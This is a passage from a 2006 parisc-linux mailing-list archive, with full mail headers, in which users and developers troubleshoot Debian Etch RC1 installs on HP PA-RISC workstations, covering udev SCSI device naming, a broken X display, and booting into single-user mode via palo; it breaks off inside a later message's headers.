In-Reply-To: <4562C898.2090605@excelcia.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K25QcUNxTXs9XKyRbmQ5pHVKRzdyMkPR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24098

On Tue November 21 2006 03:36, Kurt Fitzner wrote:
> I've tried installing Debian Etch rc1 and yesterday's daily build on my
> C160, and both fail.  The installation itself seems to work fine, but
> when it boots after, it can't find the root partition.
> 
> I don't know if it's because the kernel doesn't have the SCSI driver I
> need, or if I'm running into the issue listed on the errata:
> 
> Disk devices may change on reboot
>   On systems with multiple diskcontrollers, the kernel/udev may assign
>   a different device node on reboot of the system than was used during
>   installation due to difference in load order of drivers.
>   This can lead to failure to boot the system. In most cases this can be
>   rectified changing the bootloader configuration and /etc/fstab,
>   possibly using the rescue mode of the installer.
> 
>   Note however that this problem may occur again on subsequent boots.
>   Fixing this issue has priority for the next release of Debian
>   installer.
>

The "etch" system is setup to handle discovery order for cd's and
network interfaces while keeping device names the same.  

The scsi rules are not set up to stabilize the assignments in a similar 
manner, but should be easy to fix.

Look in /etc/udev/ and /etc/udev/rules.d 

- tweak /etc/udev/persistent.rules
to work the same as the pair: /etc/udev/persistent-net-generator.rules
and /etc/udev/rules.d/z25_persistent-net.rules

I.E: Turn /etc/udev/persistent.rules into a "generator" of
/etc/udev/rules.d/z20_persistent_scsi.rules
and
rename the /etc/udev/rules.d/z20_persistent.rules link into
/etc/udev/rules.d/z23_persistent.rules so that it will be
run if the corresponding "generator" has not been run.

Contact me off-list if you have trouble with this local solution.

> Is this something I should be reporting here, or to Debian?

The above is a "local" solution - not approved by Debian.
I am not guessing here if their solution will be the same or not.

Mike
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Thu, 23 Nov 2006 00:59:35 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <200611222359.kAMNxbBp022646@stephenson.dhis.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624217 21651 80.91.229.3 (22 Nov 2014 02:43:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Nov 2006 23:59:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 23 Nov 2006 00:59:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85E9E7D87E;
	Wed, 22 Nov 2006 16:59:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21109-08; Wed, 22 Nov 2006 16:59:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1090B7D8C1;
	Wed, 22 Nov 2006 16:59:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BFA97D814
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Nov 2006 16:59:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20805-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Nov 2006 16:59:45 -0700 (MST)
Original-Received: from stephenson.dhis.org (ALagny-152-1-54-147.w83-112.abo.wanadoo.fr
	[83.112.5.147])
	by free.linux.hp.com (Postfix) with ESMTP id 8EA887D7FE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Nov 2006 16:59:44 -0700 (MST)
Original-Received: from stephenson.dhis.org (localhost [IPv6:::1])
	by stephenson.dhis.org (8.12.11/8.12.11) with ESMTP id kAMNxeFw012583
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 00:59:41 +0100 (CET)
Original-Received: (from jph@localhost)
	by stephenson.dhis.org (8.12.11/8.12.11) id kAMNxbBp022646
	for parisc-linux@lists.parisc-linux.org;
	Thu, 23 Nov 2006 00:59:39 +0100 (CET)
X-Mailer: ELM [version 2.4ME+ PL93 (25)]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LZABNQRbZCEXX7GPamwhZGdwIGhpZcZY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24099

I have installed Etch RC1 on a B180L workstation.

The X display shows only a grey surface with some horizontal white dotted
lines. The mouse pointer is a series of horizontal white lines. There is
no colour at all.
Possibly, the video signal frequencies are not correct, but I don't have
seen during the installation an other mask related to the video display
than for the setting of the number of horizontal and vertical pixels of
the display (1280 x 1024).

What can be wrong ?

How to restart the installation program, without doing again a complete
installation ? (the X display is unusable, and I don't know how to exit
it and go directly into single user mode on console).

How to boot the system without starting X ? (single user mode).

Thanks in advance for advices.

Jean-Pierre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Thu, 23 Nov 2006 00:12:15 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20061123071215.GB2994@colo.lackof.org>
References: <200611222359.kAMNxbBp022646@stephenson.dhis.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624218 21655 80.91.229.3 (22 Nov 2014 02:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Nov 2006 07:12:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 23 Nov 2006 08:12:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A69957D8BA;
	Thu, 23 Nov 2006 00:12:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26651-06; Thu, 23 Nov 2006 00:12:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B4167D8C0;
	Thu, 23 Nov 2006 00:12:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D09D17D8B2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 00:12:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26651-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 00:12:18 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5CDB17D8B0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 00:12:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6C7B13D89F8;
	Thu, 23 Nov 2006 00:12:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04817-05; Thu, 23 Nov 2006 00:12:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 24BDD3D89F7; Thu, 23 Nov 2006 00:12:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200611222359.kAMNxbBp022646@stephenson.dhis.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kjwEIRlba0AoXL6aejEzIIE3Njh6dE6g
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24100

On Thu, Nov 23, 2006 at 12:59:35AM +0100, Jean-Pierre HOFER wrote:
> I have installed Etch RC1 on a B180L workstation.
> 
> The X display shows only a grey surface with some horizontal white dotted
> lines. The mouse pointer is a series of horizontal white lines. There is
> no colour at all.
> Possibly, the video signal frequencies are not correct, but I don't have
> seen during the installation an other mask related to the video display
> than for the setting of the number of horizontal and vertical pixels of
> the display (1280 x 1024).
> 
> What can be wrong ?

Refresh rate is the other possibility.
Normal Refreash rate is somewhere between 60 and 85 Hz.
Try a slower speed if the current one doesn't work.

> How to restart the installation program, without doing again a complete
> installation ? (the X display is unusable, and I don't know how to exit
> it and go directly into single user mode on console).

You don't have to restart installation.
You just want to run "dpkg-reconfigure xserver-xorg"
once you get to a commandline OR edit /etc/X11/xorg.conf
and then restart X11 (e.g. ctl-alt-backspace) server.

> How to boot the system without starting X ? (single user mode).

o Interrupt the power up seqence to get a firmware prompt.
o "bo"
o Chose "Y" when ask "Interact with IPL?". This will start palo.
  Palo will first present a list of parameters.

o _append_ " init=/bin/bash" to any one of the parameters presented by palo.
  (Note the extra white space). Palo should list "init=/bin/bash" as
  a seperate parameter after hitting <Enter>.
o enter "b" in palo prompt to boot the system
o Once you get a bash prompt, run "mount -o remount,rw /"
  (get RW on the root filesystem).
o Disable /etc/init.d/gdm (or xdm) script by adding "exit 0" at the top.
o "exec /sbin/init 2" to get to normal login prompt.

You can then experiment on the /etc/X11/xorg.conf.
Use "xstart" or "xinit" commands to start X11 manually.

enjoy!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Thu, 23 Nov 2006 13:55:46 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <7d01f9f00611230455w14cdc638w1b0216966d64c85a@mail.gmail.com>
References: <200611222359.kAMNxbBp022646@stephenson.dhis.org>
	<20061123071215.GB2994@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624218 21658 80.91.229.3 (22 Nov 2014 02:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Nov 2006 12:56:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 23 Nov 2006 13:56:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D3D87D8EF;
	Thu, 23 Nov 2006 05:55:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30664-09; Thu, 23 Nov 2006 05:55:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DD267D8F5;
	Thu, 23 Nov 2006 05:55:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC69A7D8EC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 05:55:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30664-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 05:55:48 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 123827D8E7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 05:55:47 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so417698ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 04:55:46 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=KLuevutqCa7blKHc0gamztpJL7uLsYkrLYtpDDlOrUrNnXr5xDj0N6FeCZp1fwXaqFN8Sg6pWs/2e8vfsXpMD3zNNzK3IsVWNQowyuz6OastWlXGfn87CkyHhpS9CkxkzT/Le4MzSdb0R/a5N8sSFoUm4c7UHyFaTl1SQKYuE0o=
Original-Received: by 10.78.117.10 with SMTP id p10mr9004062huc.1164286546365;
	Thu, 23 Nov 2006 04:55:46 -0800 (PST)
Original-Received: by 10.78.105.2 with HTTP; Thu, 23 Nov 2006 04:55:46 -0800 (PST)
In-Reply-To: <20061123071215.GB2994@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: c708935b22b37492
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: U6JTdK1ZYmYSfenCanc3yv5KWkZTQZRY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24101

On 11/23/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Thu, Nov 23, 2006 at 12:59:35AM +0100, Jean-Pierre HOFER wrote:
> > How to boot the system without starting X ? (single user mode).
>
> o Interrupt the power up seqence to get a firmware prompt.
> o "bo"
> o Chose "Y" when ask "Interact with IPL?". This will start palo.
>  Palo will first present a list of parameters.

[snip]

You can boot the box in single user mode by appending "-s" to the palo
commandline. During the boot sequence you will be prompted for root
password, type it and then you'll end up with a mostly functionnal
box, though most services (including X) will be disabled. Edit
xorg.conf and then reboot your machine.

It's probably a bit easier and less prone to errors than the leet
method suggested by Grant, which boots the machine in a state even
more basic than plain single user mode :)

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Thu, 23 Nov 2006 08:39:25 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20061123133925.GA12617@athena.road.mcmartin.ca>
References: <200611222359.kAMNxbBp022646@stephenson.dhis.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624218 21661 80.91.229.3 (22 Nov 2014 02:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Nov 2006 13:39:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 23 Nov 2006 14:39:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5A627D90B;
	Thu, 23 Nov 2006 06:39:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32056-08; Thu, 23 Nov 2006 06:39:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B26E7D81E;
	Thu, 23 Nov 2006 06:39:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6E857D8E7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 06:39:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00579-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 06:39:31 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id CEEB67D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 06:39:30 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3A0255840CA;
	Thu, 23 Nov 2006 08:39:28 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id BBDA75840C8;
	Thu, 23 Nov 2006 08:39:26 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (athena.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 74B7E837DB;
	Thu, 23 Nov 2006 08:39:26 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id C50893B06E; Thu, 23 Nov 2006 08:39:25 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200611222359.kAMNxbBp022646@stephenson.dhis.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p5NQccUgTiEtQKyUaGRwYG11ZUVSRJeo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24102

On Thu, Nov 23, 2006 at 12:59:35AM +0100, Jean-Pierre HOFER wrote:
> The X display shows only a grey surface with some horizontal white dotted
> lines. The mouse pointer is a series of horizontal white lines. There is
> no colour at all.

X (and Linux fbdev in general) is incapable of configuring HP graphics cards,
only driving them through the documented STI commands.

You likely want to change the Monitor type to something else in "CO MO" at
the PDC prompt.

--Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Max Grabert" <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Thu, 23 Nov 2006 14:22:58 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <e6eae0290611230622s265d1eb4heae4d760f0b1e3e9@mail.gmail.com>
References: <200611222359.kAMNxbBp022646@stephenson.dhis.org>
	<20061123133925.GA12617@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624219 21664 80.91.229.3 (22 Nov 2014 02:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Nov 2006 14:23:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 23 Nov 2006 15:23:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D2777D905;
	Thu, 23 Nov 2006 07:23:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
